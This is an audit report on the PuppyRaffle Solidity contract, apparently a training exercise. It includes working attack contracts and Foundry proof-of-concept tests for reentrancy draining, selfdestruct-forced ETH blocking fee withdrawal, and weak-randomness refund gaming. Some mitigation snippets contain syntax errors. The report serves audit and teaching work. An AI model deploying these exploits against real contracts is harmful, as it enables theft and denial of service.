Protocol Audit Report

Version 1.0

io10

December 24, 2024

Protocol Audit Report

io10

24/12/2024

Prepared by: [io10] Lead Auditors:

- xxxxxxx

Table of Contents

Puppy Raffle Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

io10 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

```
./src/
PuppyRaffle.sol
```

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This audit of the **PuppyRaffle Protocol** identified several critical vulnerabilities and areas of improvement to ensure the protocol's security, efficiency, and fairness. Three high-severity issues were uncovered:

1. **Reentrancy in Refund Function:** The `refund` function is vulnerable to reentrancy attacks, allowing malicious users to drain funds.
2. **Mishandling of ETH:** The reliance on `address(this).balance` allows attackers to exploit the `withdrawFees` function through forced ETH transfers, blocking fee withdrawals.
3. **Weak Randomness:** The random winner selection mechanism is predictable, enabling attackers to manipulate outcomes and refund themselves if they lose.

Additionally, a medium-severity issue was noted regarding unbounded loops in `enterRaffle`, leading to increased gas costs and potential Denial of Service (DoS).

Mitigations include implementing the Checks-Effects-Interactions pattern, restricting external calls, adopting secure randomness mechanisms, and replacing unbounded loops with mappings. Addressing these issues will strengthen the protocol's security and operational integrity.

Issues found

Severity	Number Of Issues Found
High	4
Medium	1
Low	0

Severity	Number Of Issues Found
Informational	1
Total	6

Findings

High

[H-1] Reentrancy in `PuppyRaffle::refund` which can allow attacker drain all funds in contract

Description: The refund function is vulnerable to a reentrancy attack because it makes an external call (sendValue) to msg.sender before updating the state (players[playerIndex] = address(0)). A malicious contract can exploit this by reentering the function during the external call, passing the require checks repeatedly and draining funds.

Impact: All funds in the contract can be drained

Proof of Concept:

Attack Contract

```

//SDPX-license-Identifier: MIT

pragma solidity ^0.7.6;

import {PuppyRaffle} from "./PuppyRaffle.sol";

contract AttackContract {
    address public target;
    uint256 public entrancefee;

    event FallbackTriggered(uint256 balance, uint256 entrancefee);

    constructor(address _target, uint256 _entrancefee) {
        target = _target;
        entrancefee = _entrancefee;
    }

    function attack() public {
        PuppyRaffle(target).refund(2);
    }

    receive() external payable {
        if (target.balance >= entrancefee) {
            attack();
        }
    }

    function gettargetbalance() public view returns (uint256) {
        return target.balance;
    }
}
```

PoC

```

function test_canattackrefund() public {
        address user1 = vm.addr(1);
        vm.deal(user1, 100 ether);
        vm.startPrank(user1);
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
        vm.stopPrank();

        address[] memory players2 = new address[](1);
        players2[0] = address(attackContract);
        puppyRaffle.enterRaffle{value: entranceFee}(players2);

        uint256 balance = attackContract.gettargetbalance();
        console.log("balance", balance);

        (bool success, ) = address(attackContract).call{value:
           entranceFee}("");
        assertEq(address(attackContract).balance, 4 ether);
    }
```

Recommended Mitigation: To mitigate the reentrancy, there are a few options:

1. Follow the CEI methodology which updates state before external call

Implemented CEI Methodology

```

function refund(uint256 playerIndex) public {
        //a could be external
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee); //bug reentrancy
           attack. attacker can reenter function and call refund again


    }
```

2. Implement a lock on the refund function to prevent attacker from reentering the function while it is being implemented. See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol and the nonReentrant modifier which implements this lock mechanism.

[H-2] Mishandling Of ETH allows attacker to block any `PuppyRaffle::withdrawFees` from being called

Description: Mishandling of eth can happen in many different ways. The idea is that when handling sending raw eth to/from a contract, a bunch of things can go very wrong. The use of address(this).balance allows attacker to call selfdestruct opcode and force sending eth to the contract to alter the contract balance . In this case, it will stop anyone from calling withdraw fees function.

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     "); //bug if someone uses selfdestruct to send eth to this
     contract,  no one will be able to withdraw fees
```

Impact: Protocol fees cannot be collected from the puppyraffle contract

Proof of Concept:

Code

```
//SDPX-license-Identifier: MIT

pragma solidity ^0.7.6;

import {PuppyRaffle} from "./PuppyRaffle.sol";

contract Preventwithdrawfees {
    address public target;

    constructor(address _target) {
        target = _target;
    }

    receive() external payable {
        selfdestruct(payable(target));
    }
}
```

Running the following test will exploit the withdrawfees function and make all the fees unwithdrawable from the contract:

```
function test_canpreventwithdrawfeesfromrunning() public playersEntered
     {
        (bool success, ) = address(preventwithdrawfees).call{value: 1
            ether}(
             ""
        );
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

in the above code, althought the fees should be withdrawable, since i have sent funds to the `PuppyRaffle` contract and the contract has no logic to deal with raw eth transfers, the funds i sent to the contract will stay there and constantly revert with the above error because address(this).balance == uint256(totalFees) will never be true as long as the value i sent to `PuppyRaffle` remains.

Recommended Mitigation: To mitigate this, replace the address(this).balance check with a check to make sure that balance of the contract is not zero sofees cannot be withdrawn if there are no fees to collect. Can also add a check that to make sure that the fee address is not the zero address. See below:

Code

```
function withdrawFees() external {
        //q should anyone be able to call withdraw fees? There is no
            danger in this but it is a good practice to restrict this
            function
        require(
-            address(this).balance == uint256(totalFees), //bug if
    someone uses selfdestruct to send eth to this contract,  no one will
     be able to withdraw fees
+            address(this).balance != 0 && feeAddress != address(0)
             "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[H-3] Randomness defined in same function as execution logic (weak randomness) allows attacker to predict winner and refund themselves if they didnt win lottery

Description: The selectWinner function uses the following code to get a random number:

```
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.
    difficulty));
```

This number isnt random because none of its inputs are truly random. msg.sender is deterministic and so is block.timestamp and block.prevrandao(block.difficulty). with prevrandao, it technically can class as a random number due to its design but the way it is generated is known and as a result, if enough validators decide to collude , they could determine what the random number would be. Although validator collusion is difficult, it is not impossible which is why I am highlighting this as a problem.

Impact: Attacker can see who won the lottery and refund themselves if they are not the winner

Proof of Concept: Lets use this logic in the Puppyraffle contract. as you can see, in the selectwinner function, the random index is gotten, the same as it was in this exploit and then the exectuion logic(paying the winner) is handled in the same function so this should ring some alarm bells. So an attacker could follow the same logic as the attacker of meebit and call select winner function and check if they are the winner. If they arent the winner, they could simply revert and call the refund function immediately to get their money back since they know that they arent going to win.

Code

```

//SDPX-License-Identifier: MIT
//Attack Contract
pragma solidity ^0.7.6;

import {PuppyRaffle} from "./PuppyRaffle.sol";

contract Refundifnotwinner {
    address public winner;
    address public puppyRaffle;

    event neverhappened();

    constructor(address _winner, address _puppyRaffle) {
        winner = _winner;
        puppyRaffle = _puppyRaffle;
    }

    function refundpls() public {
        PuppyRaffle(puppyRaffle).selectWinner();
        (bool success, ) = puppyRaffle.call(
            abi.encodeWithSignature("selectWinner()")
        );
        if (PuppyRaffle(puppyRaffle).previousWinner() != winner) {
            emit neverhappened();
            revert("You are not the winner");
        }
    }
}
```

```
function test_cancheckifiamwinnerandrefundifnot() public {
       address[] memory players = new address[](4);
       players[0] = playerOne;
       players[1] = playerTwo;
       players[2] = playerThree;
       players[3] = playerFour;

       address[] memory players2 = new address[](1);
       players2[0] = user2;

       vm.deal(user1, 1000 ether);
       vm.deal(user2, 1000 ether);

       vm.prank(user1);
       puppyRaffle.enterRaffle{value: entranceFee * players.length}(
          players);

       vm.startPrank(user2);
       puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
          players2);
       uint256 prevbalance = user2.balance;

       vm.warp(block.timestamp + duration + 1);
       vm.roll(block.number + 1);

       (bool success, ) = address(refundifnotwinner).call(
           abi.encodeWithSignature("refundpls()")
       );
       if (!success) {
           puppyRaffle.refund(4);
       }
       vm.stopPrank();
       assertEq(user2.balance, prevbalance + entranceFee);
   }
```

When this test is run, it shows that the attacker can check whether they are winner with the refundpls function in the attacker contract and if they arent (if the tx reverts), they can call the refund function and get their money back. So whenever you see a random number gotten in the same function that contains the logic on what to do with the random number, alarm bells should be going off in your head instantly.

Recommended Mitigation: The protocol has to seperate the function that the user can call from the logic that retrieves and handles the random number (Execution logic). This can bew done using chainlink VRF or the protocol can implement its own random logic which still implements on chain randomness which has an element of risk. See example below:

Code

```
function mint(bytes calldata performData) external override {

        uint256 requestId = requestRandomness(
            CALLBACKGASLIMIT,
            REQUESTCONFIRMATIONS,
            NUMWORDS
        );
        s_requests[requestId] = RequestStatus({
            paid: VRF_V2_WRAPPER.calculateRequestPrice(CALLBACKGASLIMIT
                ),
            randomWords: new uint256[](0),
            fulfilled: false
        });
        s_currentlotterystate = s_lotterystate.calculating_winner;
        requestIds.push(requestId);
        lastRequestId = requestId;
        emit RequestSent(requestId, NUMWORDS);
    }

    function fulfillRandomWords(
        uint256 _requestId,
        uint256[] memory _randomWords
    ) internal override {
        require(s_requests[_requestId].paid > 0, "request not found");
        s_requests[_requestId].fulfilled = true;
        s_requests[_requestId].randomWords = _randomWords;
        emit RequestFulfilled(
            _requestId,
            _randomWords,
            s_requests[_requestId].paid
        );
        //whatever logic to use random number to get nft index to be
           minted
       _mint(addressthatcalledmintfunction, randomnft)
    }
```

Chainlink VRF runs in 2 stages as you can see above. the first stage is where the user calls a mint function. in this transaction , there is no random number generated. all this function does is request for a random number from the chainlink oracles and update state. so if the attacker calls this mint function, they wont be able to see any random number as there is no random number determined in the function.

In fact, there is no minting done in this function at all, all this function does is ask chainlink oracles to get a random number. chainlink oracles get this request from the mint function, go offchain, get the random number and then the oracles call fulfillrandomwords with the random number returned into the fulfillRandomWords function and then in that function is where the random number is gotten and used to determine the randomnft to be minted and then mints it. This fulfillrandomwords function as you can see is internal so no one can call it apart from the contract.

This means the attacker cannot access any logic that has to do with the random value and once they call the mint function, if they revert, then nothing happens as the mint function doesnt handle the randomness so even if the attacker calls the mint function a million times, they wont be able to see which nft wouldve been minted.this idea isnt exclusive to chainlink though. the off chain random number might be but having one transaction to update state and another internal transaction to handle the random number and do whatever with the random number can be implemented normally without chainlink. so to prevent the attack, the protocol can have the selectwinner function not pick winner directly. Instead, let the `PuppyRaffle::selectWinner` function emit and event to show that a winner should be picked. Then set up a listener that listens for that event amd once it sees that event, it calls another function from the `PuppyRaffle` contract from another contract where that contract is the only one allowed to call that function. This way, there are 2 transactions and the attacker cannot retrieve the winner directly by calling `PuppyRaffle::selectWinner`. Doing this will mean that the logic for getting the random number and the logic for slecting the winner is handled in a function that the user cannot access. this prevents the attacker from being able to filter based on who the winner of the raffle is. Alternatively, using chainlink vrf directly is an easier and potentially safer way to implement randomness as the number is gotten off-chain and proven to be verifiably random.

[H-4] Integer overflow and unsafe typecasting can skew `PuppyRaffle::totalFees` calculation and allow fees to be drastically reduced meaning less overall protocol returns

Description: In solidity, integers have an upper limit. for example, if you cast any variable to uint8, the max value is 255 so if you try to add 1 to 255, it will loop back to 0. For underflow, uint8 has a minimum value of 0 so if you try to subtract 1 from 0 , it will loop back to 255 which might not be the protocols intended plan. In the selectwinner function, there are a lot of calculations and the solidity version is 0.7.6 so underflows and overflows are not checked. the lines in question are:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
```

The more important one is the totalFees calculation. Looking at the code, totalfees was declared as a uint64 and the fee variable is casted to a uint64 to add it to the totalfees. Just from looking at it, uint256 has a much larger max value than uint64 so if the fee value is higher than the max uint64 value, this could cause an issue. This is known as unsafe casting.

Also you can see an addition occurs to add totalfees to fee.

Impact: Protocol returns will be skewed and lead to lower than expected fees recovered

Proof of Concept: The more important one is the totalFees calculation. Looking at the code, totalfees was declared as a uint64 and the fee variable is casted to a uint64 to add it to the totalfees. Just from looking at it, uint256 has a much larger max value than uint64 so if the fee value is higher than the max uint64 value, this could cause an issue. This is known as unsafe casting and when you see anything like this, it should be ringing alarm bells in your head.

Also you can see an addition occurs to add totalfees to fee. You should be thinking about an overflow instantly and this is super easy to spot. I have written poc's for the unsafe casting and the overflow below. These should be very easy to grasp.

Code

```
function test_cancauseoverflowinfeevariable() public {
        address[] memory players = new address[](100);
        for (uint i = 0; i < 100; i++) {
            players[i] = address(uint160(i));
        }
        console.log(players.length);

        vm.deal(user1, 1000 ether);
        vm.prank(user1);
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 totalfees = puppyRaffle.totalFees();
        assertEq(totalfees, 20 ether);
    }
```

Problem here is that a user has entered the lottery with 100 addresses and the selectwinner function has been called. the entrancefee is set at 1 ether so 100 addresses should be 100 ether. So the totalfees at this point should be 20% of this which is 20 ether which is what this test is trying to assert. this will fail because of the unsafe casting from uint256 to uint64. the fee of 20 ether is larger than the max uint64 so once this value reaches the max uint64 which is 18.446744073709551615 Ether, it starts counting again from 0 which is why the value returned from the above test is 1.553255926290448384 Ether which is not the 20 ether we expect and this is a massive bug as the fees expected by the protocol are reduced by almost 19 ether which is a lot of money. Underflow, overflow and unsafe casting are huge issues that you must look out for when auditing any code. The same issue will occur if totalfees + fee would be more than type(uint64).max and the above poc shows this as well.

Recommended Mitigation: To fix overlow and unsafe casting issues, the `PuppyRaffle::totalFees` variable should be converted to a uint256 in the storage declarations. It is also important to make use of the most maintained solidity version as it contains fixes for such buch. using older solidity versions like 0.7.6 contains bugs that have been resolved in newer solidity versions. Consider upgrading the current solidity version.

Medium

[M-1] Unbounded for loop causes DOS attack on `PuppyRaffle::enterraffle`

Description: When dealing with unbounded for loops like with `PuppyRaffle::enterraffle`, the players array it loops over three times has no bounds. A user can add as many addresses in that array as they can fit in the time duration for the raffle. Technically it is bound to however long the raffle duration is but that limit is still classed as unbounded or loosely bounded because a user can fit as many addresses in the players array as needed within that time.

Impact: Incentive to call `PuppyRaffle::enterraffle` reduces per entrant due to increasing gas costs per entrant giving unfair advantage to earlier entrants

Proof of Concept:

PoC

```

function test_gasgetsmoreexpensiveperentrant(
        address[] memory players,
        address[] memory players2,
        address[] memory players3
    ) public {
        address user1 = vm.addr(1);
        address user2 = vm.addr(2);
        address user3 = vm.addr(3);

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        address[] memory players2 = new address[](4);
        players2[0] = playerFive;
        players2[1] = playerSix;
        players2[2] = playerSeven;
        players2[3] = playerEight;

        address[] memory players3 = new address[](4);
        players3[0] = playerNine;
        players3[1] = playerTen;
        players3[2] = playerEleven;
        players3[3] = playerTwelve;

        vm.deal(user1, 1000 ether);
        vm.deal(user2, 1000 ether);
        vm.deal(user3, 1000 ether);
        vm.prank(user1);
        vm.startSnapshotGas("externalA");
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasUsed = vm.stopSnapshotGas();

        vm.prank(user2);
        vm.startSnapshotGas("externalB");
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(players2);
        uint256 gasUsed2 = vm.stopSnapshotGas();

        vm.prank(user3);
        vm.startSnapshotGas("externalC");
        puppyRaffle.enterRaffle{value: entranceFee * players3.length}(players3);
        uint256 gasUsed3 = vm.stopSnapshotGas();

        assertGt(gasUsed3, gasUsed2);
    }
```

Recommended Mitigation: There are a few solutions to the unbounded for loop DOS attack. One possible solution would be to refactor the `PuppyRaffle::enterraffle` function to allow a single entrant to enter the raffle rather than multiple entrants in a players array. The next phase would be to introduce a mapping that stores a boolean for each address entered into the lottery. Then to check for duplicates, we can check the mapping to see if the entered address returns true or false. This removes the need for any of the for loops which is always better as the less for loops in your code, the beter. see below:

```

mapping(address => bool) public existingaddress;

 function enterRaffle(address player) public payable {

        require(
            msg.value == entranceFee
            "PuppyRaffle: Must send enough to enter raffle"
        );


        if(existingaddress[player]) {
            revert "Duplicate Player"
        }
        else{
            existingaddress[player] = true
        }
        emit RaffleEnter(player); }
```

Informational

[I-1] Floated pragma versions

Description: It is good practice not to use floating pragma versions. Use a specific pragma version like:

```
pragma solidity 0.8.12
```

Impact: Nonw. This is an informational finding for good practice.